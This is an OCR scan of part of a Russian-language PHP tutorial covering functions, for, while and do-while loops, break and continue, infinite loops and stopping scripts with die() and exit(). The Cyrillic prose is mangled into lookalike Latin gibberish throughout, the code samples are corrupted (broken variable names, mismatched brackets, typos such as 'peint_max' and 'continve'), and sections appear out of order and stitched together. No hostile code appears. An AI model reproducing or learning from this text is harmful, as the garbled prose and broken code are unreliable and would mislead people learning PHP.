1O TOSHO TAK e, KaK Mt YKE MHOTO Pa3 BHIHBATH GYHKINO princ (. B Katectse
GPANETPA HYAHO TEPLATS MM MEHI, B KO 3TO MOKET GulTh TIEpeMEHHAX WIH 1po-
ero Texcr:

saname = "Tovcx
Ecinens (Smane)
Printtions (Teuar
Fetntens ("ot

B NepBOM CTyNa€ B KAYECTBE NAPANETPA B CKOGKEX NIEPENAETCH MEpEMEHHaA Srnane,
B KOTOpO/i CONEPAHTCA HAIBAHHE MEHIO. B OCTATHHBIX CPA3y NIEPEIAETES TEKCT MEHIO.
HiTaK, MOHO iepeaBaTh B GYHKIMIO HE TOTEKO MIEPEMEHHIE, HO H IHAYCHIS, & TAKKE
PRy ISTATS! BHIIOHEHIS PYTHX ByYRKLMH

Kak iuzie, 0sBnentas Hav yHKILAR pAGOTACT TAK e, KAK 1 Te, 4TO YAE BCTPOCHS
» GuGHoTeKs PHP, Hanpihiep, GYHKLUS priat (), KOTOPYI0 bl YKE HEOTHOKPATHO HC-
noTs3087H. BO BpeMA OGHABTEHNA QYHKINM B CKOGKAX MOKHO YKA3ATS NapaNETpH,
KOTOPEIX MOKET GHITh HECKOTHKO, H TIEPEXHCAHTS HX HEPE3 JarTyIo. CKOTHKO Mlapaver-
POB YKE32HO B CKOGKAX, CTOTHKO Mt JOWKHE! YK&3ATh  TpH HCIOT630BAHHH GYHKILH
5 cuenapi. TIapaMETPOB MOKET H He GHITh, TOTa B KPYLABIX CKOGKEX HHYERO He GyeT.
Tak 470 e TaKoe GyHKLUHR? 51 Gbl CKAX, 4TO ¢hyHKIfuR — 310 HMEHOBaHHSH (BparverT
KO8, KOTOPbIF MOXET DHHHMATS NAPANETPSI 2% BHYTPEHHETO HCTIOMs30BaHHA (00pa-





index-55_1.png
OcHoss PHP 57

<zphp
function print_max(Sumberl, Snumber2)
f

rint (“Snumberl > Snumber? = *);

i (Snumber1>Snurber2)
print ("true <br>");
else
print ("false <br>"
)

peint_max(10, 43515
print_max (3240, 2335)
print_nax(sdf23, 45);
print_max(45)7
</oody>

</nem1>

B 3T0M npivepe oGbATeHa GyHKINA print_rax(). M nepenaioTca 1sa napaverp
Snusber W Snunbex2. ECAH nepBiiil NapaeTp Gotbitie BTOPOr, T0 ymkuns oToSpaaer
Ha IKPaKe true, Hiate false.

Tlocte oGbABTEH#S GyHKILH OHA BHIBBACTCA 4 Pasa G pasnsHMK napamerpav. Jla-
BaliTe MOCMOTPHN, KakoH MOMYWHTCA pesyTBTaT. Ot ACHCTBHTENLHO HHTEDECEH, TOTOMY
T B TPETHEM BLIOBE I W3 NIAPAMETPOB CTPOKOBGIF, & B IOCTEHEN. BMECTO ZBYX
apAMETPOB NepeaETEA TOMEKO OH:

435 > 10 = true

2335 > 3240 = false

45 > saf23 = erue

Warning: Missing argument 2 for print_max() in /var/ww/htal/1/index.ph
on line 10
45> - false

C epabiMi ZIsyMs CTPOUKAMH He BOSHHKAET MIPOGTIEM, TIOTOMY WTO B WX NEPEAAOTCA
s, B Tperseli CTPOtKe BTOpOil NaPAMETP CTPOKOBKIH, TIOTOMY O, TIOMHMO e,
conepmT eute  cipomsi. Hirrepnperatop PHP mpocto 0T6pociur cuBoitst 1 0cTait
TOTSKO SHC, W CPABHEHHE IDOHCXOITIO MEXIY HHMH. Bt M0/KHB 3HATS H TIOHMATS
3Ty 0COGEHHOCTE IPEOGPAI0BAHIA THIIOB, KOTOPOE MIPOHCXOTIT ABTOMATHECKH,

ECTH 1epeaTh TOIEKO OIMH APAMETP, TO PESY.ISTAT OKAKETCA HaHGOTEE HHTEPECHIN.
Ha KpaKe TIORBIIOCH COOGUIEHHE 0 TOM, HTO OTCYTCTBYET BTOPOH NapaMETP, €C Y Bac
5 nactpoiikax PHP pbiGpao 0TOGpEKeHHE Mpexympemcen. ECAH 0ToOpKeHHE npe-
aynpeAeHi OTKIIOUEHO, TO Bl He YBHUNTE B Gpaylcpe POBHBIM CHETOM HHKAKIK
X cooGutenni. Ho, HecOTpS Ha 570, MpoBepKa Ghuna mpowsseeHa. Cawoe Crpa-
HO€, MTO PE3YALTAT OKa3ICA €a1se. BTOPOM NAPAET OTCYTCTBYET, H 10 AKOHM TOTH-
KWt WHTEPNETaTOp ZIOTKEH GhuI HCTIOTI0BATE HYJIEBOE SHUCHHE. A ECTH CPABHITE
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HO S, TO LUK IPEPHIBAETCA © MIOMOLIHIO OriepaTopa break. Takkm 0Gpasow, Wk Gyzer
BRIIONHER TOEKO 10 5

A €CTH HyAHO TPOTTYCTHTS KIKOE-TO SHANEHHE H He BBITIOTHATS LK W KAKYIO-TO €r0
4aCTH? JUIA TOTO €CTS OMEPATOP cont . PACCMOTPHM IPHMEP €10 HCTIOTH3OBAINHA:
Sindex=0;
while (sindex<10)

i

Stndexss;

i€ (sindexee5)

print ("Sindex <BR") 5

)

B AGHHOM CTyuAe B LHKAE BHINIOTHAETCA NEWATh WHCE OT | 10 9, W Mt AOTKHB! IpOTYC-
THTH 4HCi0 5. JLTA TOTO MepemeHHON $index MpycBaNBaCTCA swasenwe 0. Mosewy 0,
€c ywHo newaraTs ¢ 17 TIPOCTO b Te/le LUK M CHASATA YBETHHHBIEN SHAvEHHE
TepeMcHHOf Ha |, & TOTOM YKe NEHATae, T. €. Ha TIEPBOM e WATe elle 10 NeNaTH
0 Gyzer yBeue Ha 1, W PACTIEHSTAETEA eIMHHLA. ECTH NIEPEMENHaR $ndex paBHa S, T0
nesaTn He GyAeT, MoToMY “TO cpaGOTACT ONEPATOp cont inve, W BHITOTHENHE NEPEHET
B Hasao,

BYAISTe BHHMATE;HE TIDH HCTIOTLSOBAHMH OTIEPATOPA. continve. TTocMOTPHTE CeYIO-
i Ko W HaHHTE OMHGKY:
Sindox-1;
while (sindex<10)
«
it (sindey
print ("Sindex <BR>");
Sindexts;
)

5)

‘CHHTaKcHveckol OWHGKH 31ech HeT, W, Ha NepBIA B, KOX JOTKEH BHITOTHITS Te
e I€HCTOMA, STO W MPENITYUHH. B TIEPEMERHYHO S irndex Mol JAHECTIH HAYATHHOS 3Ha-
HeHHE |, IOTOMY 'TO TeMEph YBETHHEHHE CHETUMKA WACT TIOCAE NEWaTH W BpOE Gt Bee
paswEHo. Ecnit Wik ZORACT 20 5, To nesaTw e GyACT H MOHIORACT Nepexoz Ha na-
@10 WHKna. B ITOM M JaKTIONAETCR owmMGKa. T10cie NEPEXOTA CHETIHK HE HIMEHWIC
(amasienme epemEnHOM $inde: HE YBETHUEHO  PABKO S),  CHOB TPOBEPKA € ICAOM 5
2CT HeTHHy. TakiM OGPA3OM, WK "SAKHHWT', 1 OH TTOCTORHHO GYJIET MEPEXOAHTS
Aol CTPOKH Ha BTOpYIO.
ok MpOGiest HET MpH WCTIOTHIORANMHH AKTA for, TIOTONY STO YBETHYEHHE TDH
Tepexofe Ha HOBIT AT MPOHCXOTIHT cpasy e 1o opye, YKASaHHOM b KasecThe 110~
eIHero apameTPa b cKoOKAX:

for (sinde
«

i€ (sindex==s)

+ $index<10; Sindex+s)
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€T Ha sau calf. C TIOMOLILIO COOGUICHIS Bbi JO;KHS USBHHHTLCS W IOMPOCHTS TI0Ge-
‘THTERR 3alTH HEMHOTO MoTKe.

OuMGKH ¢ MOIKTIOYEHHEM K Gaje JGHHHX BCTPENAOTA Z0BOTEHO Hacto. Ha omom
¥3 XOCTOB, T PACIOTArac Mo CaliT B TewerHe AByX Mecates, Gasa aiwux MySQL
paoTana ¢ nepeGORMK, H KaAIbIH ZeHb MPOHCXOT OO Ha 10-15 MytHyT b cambif K
nocemaenocTH, T1poGiest MOTYT GHITh CBF3aHbI ¢ TVIOXHM TPOTPAMMHPOBHHEM, HE3a-
KPHTHIMH COCIMHEHHAMH H GAOKHPOBKEMH, & TAKKE TIEperpy3Kof ceppepa.

HenocTaTR yHKIH die () — HEMELIEHHBI BBIBOR COOGULEHNS H HEMELIEHHOE Tpe-
Kpaetie paGoTH cuenapns. Takitu OGPa3OM, pesyTTHPYIOUIAR CTRAHWIIA MOXET OK-
30ThCA HEXAKOHEHHOM, H PIIVETK Gy eT BHILIALETS YAGCHO. ECTH Bbl XOTHTE, 4TO0H
‘Web-CTpaHHIIA BHIIAZEa XOPOLIO, TO MOXHO HCTIOTH30BTS CAEAYIOUIYHO IOTHKY:

[ —————
i (1comect_to_database)
¢
print ("Her coemmenss ¢ Oasoh xaussx, same nosws
Orotpareisie nommana crpasmant
)

B 970w citysae CTpaHYIIA GYAET BHIIAETS Gorlec KOPPEKTHO, MOTOMY T0 TIOCAE BHIBOTA
00GIIIEHHA M OTOGPEKACM Ha IKPAHE TIOZBAT H TOTBKO TIOCAE ITOTO MpepHIBaEM pado-
Ty cuenaphs.

2.8. ByHkuum

MHOrO 1eT HaSa, KOr2a A TOTSKO HAHHAA TPOTPAMMAPOBATS Ha A3k Pascal, A 10110
HE MOT OHST, 3ateM HyAHs! (byHKuiH. Boe IporpasMsi % CTPORT THHeio, 663 Karx-
G0 BeTanenHi. Ho ONHOKIS A CTOTKHYCA ¢ MpoGieMoM. Ko mporpavst seirszes,
KaK 8 erinre 2.1,

print ("Busepite omio w3 neAcTAA <BRO");

print ("
print ("Mowcx <BR>") 5

print ("  ——_
Print ("eemmem: NE——i
print ("ewams <BR>");

PEARE (Pemmm e B
print (Femmmemeeee <ao")

print ("mxon <BR>

g R ——
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continuer
print ("Sindex <BRO")

B Caysae ¢ WHKIOM for MOXIO TOGTYIINTS HEMHOTO ZPYTHM CIOGOGOM — CaMOGTOR-

TRbHO YBEIINTS SHAMCHHE NEPEMENHOR § s B TEnE WAKTA:

for (sindex-l;

f

ie (sindes
Sindexsi
print ("Sindex <6R>")

I

index<10; Sindexts)

5)

Ho 310 wacTumi Gayaii mepexo7a a CeayIOWHi War, KOTAA HYXHO POCTO TpoTyc-
THTS OIIHO SHateHHe. 3AT34A WA YCIOBHE MOKET IOMCHATBCA, H TOTZA B HE YBHINTE
ounkky. HanpHep, MOKET OKATOGHTECA MPOCKONHTS HECKOTsKO 1aros noxpaz. Ha
KIKOE HateHHe TOTA NPWIETCA YBETMHHBATE CHETHK, CKARITS TPYIHO. B pearshix
JCTOBHAX 3 He COBETYIO ZOBEPATH PYSHOMY YBETHHCHHIO CHCTUMAKA, & HCIOMEI0BATS
OnEpaTOP cont i, NOTOMY HTO OH YHMHBEPCATEH.

2.7. TlpephisaHue pa6oThI NPOrPaMMEL

HiHora GHBAIOT CHTYLIAW, B KOTOPHIX HYKHO TIDEpBATS PAGOTY Mporpam. Overs
H0CTO 97O HEOBXOAMNO, KOT MPOWIONLTA KaKA-THEO CphEIHaR OGRS, 1 JaTbHei-
iee BHTIOTHENHE MPHBELET TOTKO K YXYIUIeHHIO MoA0KeHws. Harphwep, 1a ceppepe
HeT HeoGXOmMMOro Daiia, WIH NOTKIOBATEN SATAT HEMPABWIBHBIE APANETPbi. B ITOM
cyae fasneiiuias paGoTa CUEHAPHA MOKET OTOGPEWTS JaMpEIENHYI0 HHOPMALO
WIM TIDOCTO OTPAGOTATS HEMIPABHTEHO H IPHBECTH K TIESQTSHEIN NOGIEICTRHAN. B Taki
1Y% HE IKCTICPHMEHTHPYIITE, A OCTAHOBHTE PAGOTY ClIEHAPH.

JIA% pepHBaHHA PAGOTH CUEHIPHA CYILIECTBYET KOMaHAA ex..t (). Kak ToeKo cuerapuii
CTPETHT NO0GHYI0 KOMaNIY, PAGOT TYT e MPEPBETCs. 51 PEKOMEHIYIO HEMOTBI0BATS
KOMAHAY diie (), KOTOPAR ABIAETCA NICCBIOHHMOM UTA exi (1, HO B KINECTBE 1APAMETPA
18 die () YKAIHBAETCA TEKCTOBOE COOGUIEHHE, KOTOPOE YBHIT MOTHIOBATED B OKHE
Gpayepa. PacemoTpi Knaccieckiii MpHMCp NOTKTIONCHHS K Gae AaHHbX:

i€ (1connect_to_database)

e ("Her coemmenna ¢ Gaso nawem, salmre noase");

B AaHHOM Clyuae KOMaHIa connect_to_database SBIACTCA aGCTPAKTHON M He cyuecT-
Bylouteii B ake PHP. OHa NPOCTO YKISHIBACT Ha TO, STO B ITOM MECTE MOET Haxo-
JTHCR MOAKIIONEHHE K Gase MaHKLIX. JIECh BaXHO, WTO CCTH HET COCAMHEHNA © Gasoii
JaHHBIX, TO BH3HBACTCA KOMAHIA ic (), & B KAHECTBC NapAMCTPa NIEPEAACTCA TEKCTOBOE
onvcanme oG,

OBsaatensio miopHpyHTE NOTKI0BATENS O MpHHHAX BOIMOAHBX OUMGOK. EcTi He
GyA€T CooBIEHHH, & TOTIEKO MYCTHIE HKPAHS! WTH NPEPBINHIE HA OTYCTOBE CTPAHMIE,
TO 5TO BHII0BCT PAVIPGKCHHE Y NIOCETHTEIA, W, BOIMOXHO, OH GOTbIIE HHKOTAA He 3ai-
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Sresult = Sresult + 3
print ("Besymurar = Sresult, Cuemor = $1 <BR>
)

TlocTe BMOAEHIS JTOrO KOTA Mol YBHIVN Ha SKPAHE CAEAVIOUAH TeKCT:
sesymaan - 3, Casmom = 1
Peaymuar = 9, Cuerane = 2
zeaymuman = 27, Cueranc = 3

‘Takiw OGPaIOM Mbi BOTBETH HHCIO 3 B TPETHO CTerens.

B KatecTse HAYATLHAIX SHaHeHHH MOTYT BHCTYTATh HECKOTEKO mepewentbix. Hanpu-
MEp, Y1ech Mt GECTPENTTCTACHHO MOKEM NICPEHECTH OGHIRICHHE NEPENEHNOR Sresult
B CKOGKH OIEpaTOPa o CEAYIONIAM 0GPAION:
for (sxesultel, $i=l; $i<=3; Si=sisl)
i
Sresute = Sresult + 3
print ("Peaymurar = Sresult, Cuemunx = 51 <BR");
I
B HAMATHHHIE SHAUCHMA TIEPEHCTAIOTCS HEPEs ATATYIO.
Taxiw ke 0GPAION MOKET GHiTh OpranHIOBaHO TOG0E KoNHUECTBO MpoBepox. Hanpi-
MEp, HAM HAXO BBTOTHATS LMK, TIOKA SHAHEHHE NIEPEMEHHOF 51 He CTaHeT Gonbue 3,
M pesynbTar we npessic 100 JI1S STOrO MOKHO HATTHCATS LK CEAYIOWIM 00pa-
aon:
for (sresult = 1, $1-1; $ice3, Sresule<io
i
Sresult = sresult * 3
print ("Peaymran = Sresult, Cuemur = 51 <R
)

Kak BWIHTe, B OrpANMYEHHH LKA 4epe3 SAMATYIO NIPOBEPAIOTCA /183 YCTOBHS:
Sresult<100. JaTIATAN PABHOCKTLHA CPABHENHIO W' (or) 1 COOTRETCTBYT JaHCH:

55 = s

for (srasultel, $ie1; $1<=3 or Srasult<l00; Si=sisl)

ECAU HYKHO BHIIOTHSTS LKA, NOK OZIHO W3 YCIOBMIL He CTAHCT HCTHHHbIM, TO NOXHO

for (sresult=1, s

+ $ice3 and Sresult<l00; $i=sisl)

Ho 1€ch HMEETCA O HeOCTaToK. ECIH bt BHIOTHITE Cefsac SToT Kof, To YBHuTe,
410 pesyabTar npesiae 100. Hotewy? TPOBEPKa MPOHCXOHT PAHBILE, HeM rIpOT3BO-
HTES OHEpEHOE BOSBENCHHE B CTereHb. UHCAO 3 B HeTREPTON CTerenn paso 81. I10
merbie 100, MOSTOMY BHITOTHAETCS ovEpeIHO War LHKNA (€UIE OAHO BOBEACHHE
B CTEMeHS), 1 PSYLTAT CTaHOBHTCA 243, 4TO i BUBOTNTCA Ha SKkpai. TOKO CEAyIo-
AR TPOBEPKA YBHIUT, “TO SHCAO MPEBHCHIO AOTYCTHMOE JHaseHHe. HToGH HGABHTS-
€8 0T 5TOr0 HhpeKTa, BOIBEICHHE B CTENEHb HYAHO NIEPEHECTH B OOTACTD YBETHIEHHS
exerama:
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«
Sresult = Sresulc ¢ 3
si=5i+

) while (s1<-3)

2.6.3. BecKoHeuHLIe UMKNLD

BHBAOT CHTYALUMH, KOTAA HYKHO CEAATS LUK GECKOHEHbIM. B JTOM CTy%ae MOKHO
HCTIOTLIOBATS B KANECTRE YCORHA U UWAKTA whi Lo JABETONMO HCTHHHO THAMeHHe:

while (true)

0

)

31€Ch Mt CTABHM B KAYECTBE PESYISTATA YCAOBHA HCTHHHOS SHSCHHE, KOTOPOE IPOCTO
He MOAET TIOMEHSTLCA Ha 0, & SHAWHT, LUK GYET GeCKOHEIHbIM.

LAk fox TORE MOAHO CeTATH GecKoReHHBIM CEAYIOUIAM 0GpIION:

for (i)
I

I

3ech HET HAKAKIX YCAOBHIE W IpHpALLEHWH, 1O5TOMY W KA Gy et Geckoneuniam. Ho
TAKHE LK MOXHO TPEPBATS CIIELHATHEIM OTIEPATOPON, KOTOPITt Mt YBHIAM B Ce-
ywougen pasdee.

B MpHALLITE, aGCOTIOTHOT GECKOHESHOCTH 110 YMOAHaHIIO He GyieT. Bnomerie io-
Goro cuenapis orpameto o spement (1o ymomaio 30 cexyra). Bsi okere wve-
HITS 70 JHANCHHE WTH CACTATE GECKOHEHHAIM BPEMS OAMIAHIA, HO TOTAR BaIl CLEHa-
i #3-32 KaKOFi-HHOY b MATCHEKOR OUMOKH (HE GYCT BHINOTHATLCS MPEPHIBAHHE 1Ak~
o) MOACT NIEPErpYIHTS MAMATS CTeka 1 GYIET OCTaHORIEH ¢ OWGKOR.

2.6.4. YnpasneHue uuknamm

HHOT HYKHO WMETh BOSMOKHOCTS MIpEpBATS pAGOTY WHKTA WA WIMEHHTS XOT €70 B~
noaHerys. Hanpiwep, TOTHKO ¢ NIOMOLLbIO CTIELHATLHOTO OMIEPATOP SABEPUIEHIA Paco-
TH1 WAKTa MOHO OCTAHOBHTS BHITIOTHENHE GECKOEHHOTO KA

TIpepBaTh BHTOTHEHHE LKA MOKHO C TIOMOLLBIO OTIEpaTOpa breat. Hanphvep:
Sindexel
while (sindex<10)

print ("Sindex <BR>") 7

Sindex+s

it (sinde;
break;

'

5)

SR AT OTACH BHTIOTHATLCA, TIOKS JHINCHHE TIEPEMEHHON $index WE Crarer
pasiuins ww Gore 10. B TeAE LHKT €CTh MPOBEPKA: €CH SHANEHHE TEMEHHOR pas-
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for (srosuite1, §!
$ice3, Sresule<100;
5505541, Sresult = Sresult + 3)
print ("pesymerar = Sresult, Cuerom = 31 <BR);
y

‘Tenleps Ha KAXIOM WATe LHKTA YBETHHBIETCA HE TOTHKO $1, HO H Sresult. PesysTar
BOSBCLCHHA B GTIEHS Gy ICT BHBEAGH Ha SKPAH TOTHKO B TOM GIYHAE, G ON COOTET-
CTBYET OGoWM YCAOBHSM, 1 0Ty HBILIEECS HCTIO HHKOTA He mpeBickT 100.
51 He Gyly AaBaTh peKoMeHAALHH, KaKo CTIOCOS HCTON30BaTS, TAABHOE, 00K Bam
YAOGHO Guu10 4HTaTS 9TOT Kox. 1 G He pacTIOnaran HUKaKieX feHCTBIi BHYTPH KpyT-
7HiX CKOBOK LKA, 118 JTOTO €CT Tero LKA MEAAY HIyPHBIMH COGKaNH.

2.6.2. Lvkn while

LUK while MOXHO BOCTPHNHMATS KaK "BWIOTHATS IeHCTBHA, TOKA BEHO YCAOBHE'.
B oBiue Bite 5TO BHILAAIT CEAYIOUM OOPAION:

while (ycromse) {

soicrves

)

o meinomaTs, o0 neHTBMHE, TO GHypHHE CKOGKH CHOBa GYIYT He OBF3ATE KK
PACCMOTPIM TPHMEp BOSBEIEHHS SHCTA 3 B CTeMeHb 3 ¢ NOMOIISO LHKTA whiLe:

1= 1;

Sresult = 15

while (si<=3)

0

Sresule = Sresult + 3

siesiels

!

B AaHHOM CTyae YBETHEHHE NPOHCXOTAT BHYTPH HKIA BMECTE ¢ BOJBEZEHHEM B CTe-
e, Kak TOTHKO YCTOBHE CTAHET HEBEDHBIN, LY GYIET IpEPBAH. A €CTH HATO Bbi-
TIOTHIT Te0 WK B TH0GOM CAYHaE XOTA Gbi OTHH Pas? B STOM cysac HYAHO Boc-
TIOTH30BATHEA APYTOH PATHOBHAHOCTHIO while:

d@o

aeicrane

) while (yesome);

Fhech cHAvATIA BHIIOTHACTCA ACACTBHE, & IOTOM YAk MPOHCXOTHT Mposepka. Taxine
0Gpasow, aeHcTBME GYIET BHTIOTHEHO B TIOGOM CTyHae XOTA Gbl OTHH pas, ke ecin
yeaoBve waHasaTeHO HepepHo. Hanpusiep:

si-

Sresule = 15

o





